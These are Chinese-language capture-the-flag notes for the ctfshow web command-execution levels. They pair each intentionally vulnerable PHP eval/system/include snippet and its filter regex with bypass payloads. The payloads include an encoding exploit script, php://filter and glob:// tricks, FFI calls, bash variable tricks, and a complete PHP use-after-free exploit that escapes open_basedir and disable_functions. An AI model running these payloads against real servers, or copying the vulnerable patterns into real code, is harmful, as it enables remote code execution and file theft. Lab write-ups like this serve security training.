Web29
| <?php |
| error_reporting(0); |
| if(isset($_GET['c'])){ |
| $c = $_GET['c']; |
| if(!preg_match("/flag/i", $c)){ |
| eval($c); |
| } |
| |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
Web30
| <?php |
| error_reporting(0); |
| if(isset($_GET['c'])){ |
| $c = $_GET['c']; |
| if(!preg_match("/flag|system|php/i", $c)){ |
| eval($c); |
| } |
| |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
Web31
| <?php |
| error_reporting(0); |
| if(isset($_GET['c'])){ |
| $c = $_GET['c']; |
| if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ |
| eval($c); |
| } |
| |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
| |
| 无参函数读取 |
Web32(include包含)
| <?php |
| error_reporting(0); |
| if(isset($_GET['c'])){ |
| $c = $_GET['c']; |
| if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ |
| eval($c); |
| } |
| |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
Web33
| <?php |
| error_reporting(0); |
| if(isset($_GET['c'])){ |
| $c = $_GET['c']; |
| if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ |
| eval($c); |
| } |
| |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
Web34
| <?php |
| error_reporting(0); |
| if(isset($_GET['c'])){ |
| $c = $_GET['c']; |
| if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ |
| eval($c); |
| } |
| |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
Web35
| <?php |
| error_reporting(0); |
| if(isset($_GET['c'])){ |
| $c = $_GET['c']; |
| if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ |
| eval($c); |
| } |
| |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
Web36
| <?php |
| error_reporting(0); |
| if(isset($_GET['c'])){ |
| $c = $_GET['c']; |
| if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ |
| eval($c); |
| } |
| |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
Web37(自带include)
| <?php |
| error_reporting(0); |
| if(isset($_GET['c'])){ |
| $c = $_GET['c']; |
| if(!preg_match("/flag/i", $c)){ |
| include($c); |
| echo $flag; |
| |
| } |
| |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
| |
Web38
| <?php |
| |
| error_reporting(0); |
| if(isset($_GET['c'])){ |
| $c = $_GET['c']; |
| if(!preg_match("/flag|php|file/i", $c)){ |
| include($c); |
| echo $flag; |
| |
| } |
| |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
| |
Web39
| <?php |
| |
| error_reporting(0); |
| if(isset($_GET['c'])){ |
| $c = $_GET['c']; |
| if(!preg_match("/flag/i", $c)){ |
| include($c.".php"); |
| } |
| |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| data: |
| |
Web40
| <?php |
| if(isset($_GET['c'])){ |
| $c = $_GET['c']; |
| if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ |
| eval($c); |
| } |
| |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
| get_defined_vars()用于以数组的形式返回所有已定义的变量值(包括URL屁股后面接的pay),这里源码只定义了一个变量即c,加上你引入的pay就两个变量值了。reset用于将指向返回变量数组的指针指向第一个变量即c,next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码。 |
| |
第三种方法解释(同第一种)

Web41(或运算)
| <?php |
| if(isset($_POST['c'])){ |
| $c = $_POST['c']; |
| if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ |
| eval("echo($c);"); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| ?> |
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
我们可以尝试从ascii为0~255的字符中,找到或运算能得到我们可用的字符的字符。
生成可用字符的集合 rce_or.php
大体意思就是从进行异或的字符中排除掉被过滤的,然后再判断异或得到的字符是否为可见字符
然后再使用python Web_41_exp.py (url)
| |
| <?php |
| $myfile = fopen("rce_or.txt", "w"); |
| $contents=""; |
| for ($i=0; $i < 256; $i++) { |
| for ($j=0; $j <256 ; $j++) { |
| |
| if($i<16){ |
| $hex_i='0'.dechex($i); |
| } |
| else{ |
| $hex_i=dechex($i); |
| } |
| if($j<16){ |
| $hex_j='0'.dechex($j); |
| } |
| else{ |
| $hex_j=dechex($j); |
| } |
| $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; |
| if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ |
| echo ""; |
| } |
| |
| else{ |
| $a='%'.$hex_i; |
| $b='%'.$hex_j; |
| $c=(urldecode($a)|urldecode($b)); |
| if (ord($c)>=32&ord($c)<=126) { |
| $contents=$contents.$c." ".$a." ".$b."\n"; |
| } |
| } |
| |
| } |
| } |
| fwrite($myfile,$contents); |
| fclose($myfile); |
| |
| |
| import requests |
| import urllib |
| from sys import * |
| import os |
| os.system("php C:\\Users\\26387\\Desktop\\wangannote\\ctf\\ctf 做题记录\\ctfshow web入门\\命令执行\\rce_or.php") |
| if(len(argv)!=2): |
| print("="*50) |
| print('USER:python exp.py <url>') |
| print("eg: python exp.py http://ctf.show/") |
| print("="*50) |
| exit(0) |
| url=argv[1] |
| def action(arg): |
| s1="" |
| s2="" |
| for i in arg: |
| f=open("C:\\Users\\26387\\Desktop\\wangannote\\ctf\\ctf 做题记录\\ctfshow web入门\\命令执行\\Web41_rce_or.txt","r") |
| while True: |
| t=f.readline() |
| if t=="": |
| break |
| if t[0]==i: |
| |
| s1+=t[2:5] |
| s2+=t[6:9] |
| break |
| f.close() |
| output="(\""+s1+"\"|\""+s2+"\")" |
| return(output) |
| |
| while True: |
| param=action(input("\n[+] your function:") )+action(input("[+] your command:")) |
| data={ |
| 'c':urllib.parse.unquote(param) |
| } |
| r=requests.post(url,data=data) |
| print("\n[*] result:\n"+r.text) |
| |

Web42(>/dev/null)
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| system($c." >/dev/null 2>&1"); |
| }else{ |
| highlight_file(__FILE__); |
| } |
" >/dev/null 2>&1"
相当于黑洞,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞

法一:
所以payload
因为是url传过去的,所以要记得用url编码,不然没有回显(切记对&&等表示两个参数的分隔符用url编码,不然没有回显)
法二:
这里的%0a
是URL编码,表示换行符(\n
) ,命令会被解析为:
并且输出被重定向到/dev/null
,错误也被丢弃
Web43
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|cat/i", $c)){ |
| system($c." >/dev/null 2>&1"); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
Web44
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/;|cat|flag/i", $c)){ |
| system($c." >/dev/null 2>&1"); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
Web45(过滤空格)
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|cat|flag| /i", $c)){ |
| system($c." >/dev/null 2>&1"); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
Web46(过滤数字,$,*,空格)
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ |
| system($c." >/dev/null 2>&1"); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
| |
Web47
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ |
| system($c." >/dev/null 2>&1"); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
| |
Web48
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ |
| system($c." >/dev/null 2>&1"); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
| |
Web49
| <?php |
| \if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ |
| system($c." >/dev/null 2>&1"); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
| |
Web50(过滤Tab,&)
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ |
| system($c." >/dev/null 2>&1"); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
Web51
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ |
| system($c." >/dev/null 2>&1"); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
Web52
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ |
| system($c." >/dev/null 2>&1"); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
Web53
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ |
| echo($c); |
| $d = system($c); |
| echo "<br>".$d; |
| }else{ |
| echo 'no'; |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| |
Web54(字符拼接过滤*)
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ |
| system($c); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| 必须f???.php |
| |
Linux的很多命令存放在/bin/目录下,且可以通过绝对路径来使用,而且支持通配符。
如cat命令也可以这样使用:/bin/?at
Web55(过滤字母但没过滤数字,点)
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ |
| system($c); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| 意思为:?c=/bin/base64 flag.php |
| |
| 意思为:?c=/usr/bin/bzip2 flag.php 使用/usr/bin/bzip2 对文件进行压缩 |
| 最后访问/flag.php.bz2即可 下载下来的压缩包中包含flag.php |

方法三:无字母数字webshell
先构造一个post请求并上传文件。由于没有过滤".",所以通过执行文件中的Linux命令获取flag
创建html文件

本地访问,随机上传一个文件 比如1.php
然后传入
| /?c=.+/???/????????[@-[]] |
| |
| "."(点)的用法,就是相当于source可以执行sh命令 |
| 一般来说文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写 |
| 后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母 |
| |
| post参数改为 |
| |
| |
| cat /flag.php |


Web56
| <?php |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ |
| system($c); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |
| 同Web55法三 |
Web57(过滤字母数字点$(())
运算)
| <?php |
| |
| if(isset($_GET['c'])){ |
| $c=$_GET['c']; |
| if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ |
| system("cat ".$c.".php"); |
| } |
| }else{ |
| highlight_file(__FILE__); |
| } |

| echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |

法二:
Web58(POST请求)
| <?php |
| if(isset($_POST['c'])){ |
| $c= $_POST['c']; |
| eval($c); |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| hackbar post传参c |
| c=show_source("flag.php"); |
| c=highlight_file("flag.php"); |
方法二:
使用伪协议
| c=include "php://filter/read=convert.base64-encode/resource=flag.php"; |
Web59~Web65
| <?php |
| if(isset($_POST['c'])){ |
| $c= $_POST['c']; |
| eval($c); |
| }else{ |
| highlight_file(__FILE__); |
| } |
| c=show_source("flag.php"); |
| c=highlight_file("flag.php"); |
| c=include "php://filter/read=convert.base64-encode/resource=flag.php"; |
| c=file_get_contents('flag.php'); |
Web66
| <?php |
| if(isset($_POST['c'])){ |
| $c= $_POST['c']; |
| eval($c); |
| }else{ |
| highlight_file(__FILE__); |
| } |
| c=print_r(scandir("/")); |
| c=var_dump(scandir("/")); |
| c=highlight_file("/flag.txt"); |
Web67~Web70
| <?php |
| if(isset($_POST['c'])){ |
| $c= $_POST['c']; |
| eval($c); |
| }else{ |
| highlight_file(__FILE__); |
| } |
| c=var_dump(scandir("/")); |
| c=var_export(scandir('/')); |
| c=highlight_file("/flag.txt"); |
| c=include "php://filter/read=convert.base64-encode/resource=/flag.txt"; |
| c=require("/flag.txt"); |
Web71
| <?php |
| error_reporting(0); |
| ini_set('display_errors', 0); |
| |
| if(isset($_POST['c'])){ |
| $c= $_POST['c']; |
| eval($c); |
| $s = ob_get_contents(); |
| ob_end_clean(); |
| echo preg_replace("/[0-9]|[a-z]/i","?",$s); |
| }else{ |
| highlight_file(__FILE__); |
| } |
| |
| ?> |
| 可以执行php代码让后面的匹配缓冲区不执行直接退出。 |
| c=var_export(scandir("/"));exit(); |
| c=require("/flag.txt");exit(); |
| c=include "php://filter/read=convert.base64-encode/resource=/flag.txt";exit(); |
Web72(利用php垃圾回收 uaf脚本 绕过open_basedir)
| <?php |
| error_reporting(0); |
| ini_set('display_errors', 0); |
| |
| if(isset($_POST['c'])){ |
| $c= $_POST['c']; |
| eval($c); |
| $s = ob_get_contents(); |
| ob_end_clean(); |
| echo preg_replace("/[0-9]|[a-z]/i","?",$s); |
| }else{ |
| highlight_file(__FILE__); |
| } |
| ?> |
| |
| 输入c=var_export(scandir("./"));exit(); 返回: |

| 输入c=var_export(scandir("/"));exit(); 返回: |

也就是说,本题设置了open_basedir(),将php所能打开的文件限制在指定的目录树中,包括文件本身。因为ini_set()也被限制了,所以open_basedir()不能用ini_set()重新设置绕过。
| https://www.freesion.com/article/5349629378/ |
| 附上一个用ini_set绕过open_basedir的脚本地址,本题不可用 |
首先要确定flag文件的位置。这里使用php伪协议glob://
| c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> |

payload里的内容如下
| <?php |
| $a = new DirectoryIterator("glob:///*"); |
| |
| |
| |
| foreach ($a as $f) |
| { |
| echo ($f->__toString().' '); |
| } |
| exit(0); |
| ?> |
| |
| 据说利用了 php 的垃圾回收机制。代码涉及到偏移地址之类的。 |
| 这个脚本一般情况过下应该是可以直接使用,要求被攻击服务器必须是类unix系统,没有什么容易被过滤的函数,可能会被过滤的strlen()在脚本中也只是起到判断作用,可以调整修改的 |
| <?php |
| function ctfshow($cmd) { |
| global $abc, $helper, $backtrace; |
| |
| class Vuln { |
| public $a; |
| public function __destruct() { |
| global $backtrace; |
| unset($this->a); |
| $backtrace = (new Exception)->getTrace(); |
| if(!isset($backtrace[1]['args'])) { |
| $backtrace = debug_backtrace(); |
| } |
| } |
| } |
| |
| class Helper { |
| public $a, $b, $c, $d; |
| } |
| |
| function str2ptr(&$str, $p = 0, $s = 8) { |
| $address = 0; |
| for($j = $s-1; $j >= 0; $j--) { |
| $address <<= 8; |
| $address |= ord($str[$p+$j]); |
| } |
| return $address; |
| } |
| |
| function ptr2str($ptr, $m = 8) { |
| $out = ""; |
| for ($i=0; $i < $m; $i++) { |
| $out .= sprintf("%c",($ptr & 0xff)); |
| $ptr >>= 8; |
| } |
| return $out; |
| } |
| |
| function write(&$str, $p, $v, $n = 8) { |
| $i = 0; |
| for($i = 0; $i < $n; $i++) { |
| $str[$p + $i] = sprintf("%c",($v & 0xff)); |
| $v >>= 8; |
| } |
| } |
| |
| function leak($addr, $p = 0, $s = 8) { |
| global $abc, $helper; |
| write($abc, 0x68, $addr + $p - 0x10); |
| $leak = strlen($helper->a); |
| if($s != 8) { $leak %= 2 << ($s * 8) - 1; } |
| return $leak; |
| } |
| |
| function parse_elf($base) { |
| $e_type = leak($base, 0x10, 2); |
| |
| $e_phoff = leak($base, 0x20); |
| $e_phentsize = leak($base, 0x36, 2); |
| $e_phnum = leak($base, 0x38, 2); |
| |
| for($i = 0; $i < $e_phnum; $i++) { |
| $header = $base + $e_phoff + $i * $e_phentsize; |
| $p_type = leak($header, 0, 4); |
| $p_flags = leak($header, 4, 4); |
| $p_vaddr = leak($header, 0x10); |
| $p_memsz = leak($header, 0x28); |
| |
| if($p_type == 1 && $p_flags == 6) { |
| |
| $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; |
| $data_size = $p_memsz; |
| } else if($p_type == 1 && $p_flags == 5) { |
| $text_size = $p_memsz; |
| } |
| } |
| |
| if(!$data_addr || !$text_size || !$data_size) |
| return false; |
| |
| return [$data_addr, $text_size, $data_size]; |
| } |
| |
| function get_basic_funcs($base, $elf) { |
| list($data_addr, $text_size, $data_size) = $elf; |
| for($i = 0; $i < $data_size / 8; $i++) { |
| $leak = leak($data_addr, $i * 8); |
| if($leak - $base > 0 && $leak - $base < $data_addr - $base) { |
| $deref = leak($leak); |
| |
| if($deref != 0x746e6174736e6f63) |
| continue; |
| } else continue; |
| |
| $leak = leak($data_addr, ($i + 4) * 8); |
| if($leak - $base > 0 && $leak - $base < $data_addr - $base) { |
| $deref = leak($leak); |
| |
| if($deref != 0x786568326e6962) |
| continue; |
| } else continue; |
| |
| return $data_addr + $i * 8; |
| } |
| } |
| |
| function get_binary_base($binary_leak) { |
| $base = 0; |
| $start = $binary_leak & 0xfffffffffffff000; |
| for($i = 0; $i < 0x1000; $i++) { |
| $addr = $start - 0x1000 * $i; |
| $leak = leak($addr, 0, 7); |
| if($leak == 0x10102464c457f) { |
| return $addr; |
| } |
| } |
| } |
| |
| function get_system($basic_funcs) { |
| $addr = $basic_funcs; |
| do { |
| $f_entry = leak($addr); |
| $f_name = leak($f_entry, 0, 6); |
| |
| if($f_name == 0x6d6574737973) { |
| return leak($addr + 8); |
| } |
| $addr += 0x20; |
| } while($f_entry != 0); |
| return false; |
| } |
| |
| function trigger_uaf($arg) { |
| |
| $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); |
| $vuln = new Vuln(); |
| $vuln->a = $arg; |
| } |
| |
| if(stristr(PHP_OS, 'WIN')) { |
| die('This PoC is for *nix systems only.'); |
| } |
| |
| $n_alloc = 10; |
| $contiguous = []; |
| for($i = 0; $i < $n_alloc; $i++) |
| $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); |
| |
| trigger_uaf('x'); |
| $abc = $backtrace[1]['args'][0]; |
| |
| $helper = new Helper; |
| $helper->b = function ($x) { }; |
| |
| if(strlen($abc) == 79 || strlen($abc) == 0) { |
| die("UAF failed"); |
| } |
| |
| $closure_handlers = str2ptr($abc, 0); |
| $php_heap = str2ptr($abc, 0x58); |
| $abc_addr = $php_heap - 0xc8; |
| |
| write($abc, 0x60, 2); |
| write($abc, 0x70, 6); |
| |
| write($abc, 0x10, $abc_addr + 0x60); |
| write($abc, 0x18, 0xa); |
| |
| $closure_obj = str2ptr($abc, 0x20); |
| |
| $binary_leak = leak($closure_handlers, 8); |
| if(!($base = get_binary_base($binary_leak))) { |
| die("Couldn't determine binary base address"); |
| } |
| |
| if(!($elf = parse_elf($base))) { |
| die("Couldn't parse ELF header"); |
| } |
| |
| if(!($basic_funcs = get_basic_funcs($base, $elf))) { |
| die("Couldn't get basic_functions address"); |
| } |
| |
| if(!($zif_system = get_system($basic_funcs))) { |
| die("Couldn't get zif_system address"); |
| } |
| |
| |
| $fake_obj_offset = 0xd0; |
| for($i = 0; $i < 0x110; $i += 8) { |
| write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); |
| } |
| |
| write($abc, 0x20, $abc_addr + $fake_obj_offset); |
| write($abc, 0xd0 + 0x38, 1, 4); |
| write($abc, 0xd0 + 0x68, $zif_system); |
| |
| ($helper->b)($cmd); |
| exit(); |
| } |
| |
| ctfshow("cat /flag0.txt");ob_end_flush(); |
| ?> |
把以上代码通过 url 编码,然后传递即可 前面记得加上 ?>

Web73
和71 72类似 但是比72简单
| c=var_export(scandir("/")) |
| c=require("/flagc.txt") |
| c=include "php://filter/read=convert.base64-encode/resource=/flagc.txt" |
Web74(scandir被禁用)
| c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> |
| c=require("/flagx.txt");exit(); |
| c=include "php://filter/read=convert.base64-encode/resource=/flagx.txt";exit(); |
Web75Web76(open_basedir另一种mysql用法)
| c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> |

| try { |
| |
| $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); |
| |
| |
| foreach($dbh->query('select load_file("/flag36.txt")') as $row) { |
| echo($row[0])."|"; |
| } |
| |
| $dbh = null; |
| } |
| |
| catch (PDOException $e) { |
| echo $e->getMessage();exit(0); |
| } |
| |
| exit(0); |
| |
| |
| |
| c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0); |
就是通过php PDO连接数据库,通过数据库的函数间接查询文件内容
Web77(FFI)
| c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?> |

存在flag36x.txt 和 readflag
尝试执行
| c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0); |

发现不让用mysql
| c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a); |
| |
| 然后再去访问/1.txt获得flag |
| $ffi = FFI::cdef("int system(const char *command);"); |
| $a='/readflag > 1.txt'; |
| $ffi->system($a); |
这个方式成功绕过了php对system函数的限制
FFI,php7.4以上才有
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。
Web118(环境变量)
先fuzz测试一下 发现能用的只有大写字母和一些特定的符号字符
构造bash内置变量
我们的payload可以使用nl flag.php nl使用变量构造,flag.php使用 ????.??? 通配符绕过

| 所以,${PATH:~A}${PWD:~A}表示的就是PATH的最后一个字母和PWD的最后一个字母,组合起来就是nl。 |
| ${PATH:~A}${PWD:~A} ????.??? |
| 相当于nl flag.php |

其余可行payload:
| ${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.??? |
| |
| ${PATH:~A}${PWD:~A:${##}} ????.??? |
| |
yu师傅提供的默认配置文件下的文件

Web119(多过滤了PATH)
扩展一下Bash内置变量构造字符:
${RANDOM} :随机的几个数
${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录

| SHLVL |
| 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。 |
| |
| RANDOM |
| 此变量值,随机出现整数,范围为0-32767。在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度。例如${#12345}的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此${#RANDOM}可以代替4或者5。 |
| |
| IFS |
| 空格符、tab字符、换行字符(newline) 长度为3。{#IFS}=3 |
| |
| payload 如下: |
| ${PWD::${ |
| |
| 就是/???/?a? ????.??? |
| |
| 就是/bin/cat flag.php |
| ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.??? |
| |
| 就是/???/??t ????.??? |
| |
| 就是/bin/cat flag.php |
| ${PWD::${ |
| |
| 就是/???/?????4 ????.??? |
| |
| 就是/bin/base64 flag.php |
Web120(长度限64以内)
| <?php |
| error_reporting(0); |
| highlight_file(__FILE__); |
| if(isset($_POST['code'])){ |
| $code=$_POST['code']; |
| if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ |
| if(strlen($code)>65){ |
| echo '<div align="center">'.'you are so long , I dont like '.'</div>'; |
| } |
| else{ |
| echo '<div align="center">'.system($code).'</div>'; |
| } |
| } |
| else{ |
| echo '<div align="center">evil input</div>'; |
| } |
| } |
| |
| ?> |
| code=${PWD::${ |
| code=${PWD::${ |
Web121(过滤SHLVL等)
| <?php |
| error_reporting(0); |
| highlight_file(__FILE__); |
| if(isset($_POST['code'])){ |
| $code=$_POST['code']; |
| if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ |
| if(strlen($code)>65){ |
| echo '<div align="center">'.'you are so long , I dont like '.'</div>'; |
| } |
| else{ |
| echo '<div align="center">'.system($code).'</div>'; |
| } |
| } |
| else{ |
| echo '<div align="center">evil input</div>'; |
| } |
| } |
| |
| ?> |
HOME
、USER
、SHLVL
被过滤了
过滤${#SHLVL}
可以用${##}
、${#?}
| ${PWD::${ |
| |
| 就是/???/??v ????.??? |
| |
| 就是/bin/rev flag.php |
| ${PWD::${ |
| |
| 就是/???/?????4 ????.??? |
| |
| 就是/bin/base64 flag.php |
Web122(过滤 # PWD)
| |
| <?php |
| error_reporting(0); |
| highlight_file(__FILE__); |
| if(isset($_POST['code'])){ |
| $code=$_POST['code']; |
| if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){ |
| if(strlen($code)>65){ |
| echo '<div align="center">'.'you are so long , I dont like '.'</div>'; |
| } |
| else{ |
| echo '<div align="center">'.system($code).'</div>'; |
| } |
| } |
| else{ |
| echo '<div align="center">evil input</div>'; |
| } |
| } |
| |
| ?> |
| |
这次过滤了PWD
、#
,之前所有payload都用不了
我们选择使用base64来获取flag。(/bin/base64 flag.php,目标是构造/???/?????4 ????.???)
过滤了PWD
,我们还能用HOME
。无论HOME
是什么(/xxx/xxx),HOME
的第一位肯定是/
。
然后我们只需要解决一个如何构造数字了,我们需要构造1和4
我们可以利用$s?
,获取上一条命令执行结束后的返回值
先<A;
在然后的$?
就是1
